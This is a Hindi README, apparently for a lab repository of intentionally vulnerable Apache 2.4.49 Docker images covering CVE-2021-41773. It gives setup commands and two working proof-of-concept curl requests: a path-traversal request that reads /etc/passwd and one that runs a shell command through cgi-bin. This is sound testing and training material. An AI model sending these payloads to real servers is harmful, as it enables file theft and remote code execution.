CVE-2021-41773 Apache path traversal के लिए असुरक्षित docker इमेजेस

यह भेद्यता केवल संस्करण 2.4.49 पर लागू होती है, जिसमें विशेष गैर-डिफ़ॉल्ट कॉन्फ़िगरेशन होते हैं। कुछ स्थितियों में इसके परिणामस्वरूप फ़ाइल पठन या कोड निष्पादन हो सकता है।

https://twitter.com/ptswarm/status/1445376079548624899

असुरक्षित फ़ाइल पठन कॉन्फ़िग

कंटेनरों को सीधे Docker Hub से निम्न कमांड का उपयोग करके पुल किया जा सकता है

docker pull blueteamsteve/cve-2021-41773:no-cgid

और निम्न कमांड का उपयोग करके निष्पादित किया जा सकता है

docker run -dit -p 8080:80 blueteamsteve/cve-2021-41773:no-cgid

Apache लॉग्स को नीचे दिए गए कमांड से देखा जा सकता है, या stdio स्ट्रीम करने के लिए उपरोक्त run कमांड से "-dit" हटा दें docker logs <container-id>

फ़ाइल पठन के लिए PoC

curl http://localhost:8080/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd

असुरक्षित RCE कॉन्फ़िग

कंटेनरों को सीधे Docker Hub से निम्न कमांड का उपयोग करके पुल किया जा सकता है

docker pull blueteamsteve/cve-2021-41773:with-cgid

और निम्न कमांड का उपयोग करके निष्पादित किया जा सकता है

docker run -dit -p 8080:80 blueteamsteve/cve-2021-41773:with-cgid

Apache लॉग्स को नीचे दिए गए कमांड से देखा जा सकता है, या stdio स्ट्रीम करने के लिए उपरोक्त run कमांड से "-dit" हटा दें docker logs <container-id>

RCE के लिए PoC

curl 'localhost:8080/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh' -d 'A=|echo;id'

कस्टम docker कंटेनर बनाएँ

सबडायरेक्टरीज़ में मौजूद dockerfile और टेम्पलेट httpd.conf फ़ाइलों का उपयोग करके अपने स्वयं के संस्करणों को संशोधित और बनाएँ

• फ़ाइल पठन के लिए असुरक्षित कॉन्फ़िग के रूप में ./no-cgi का उपयोग करें
• कोड निष्पादन के लिए असुरक्षित कॉन्फ़िग के रूप में ./with-cgi का उपयोग करें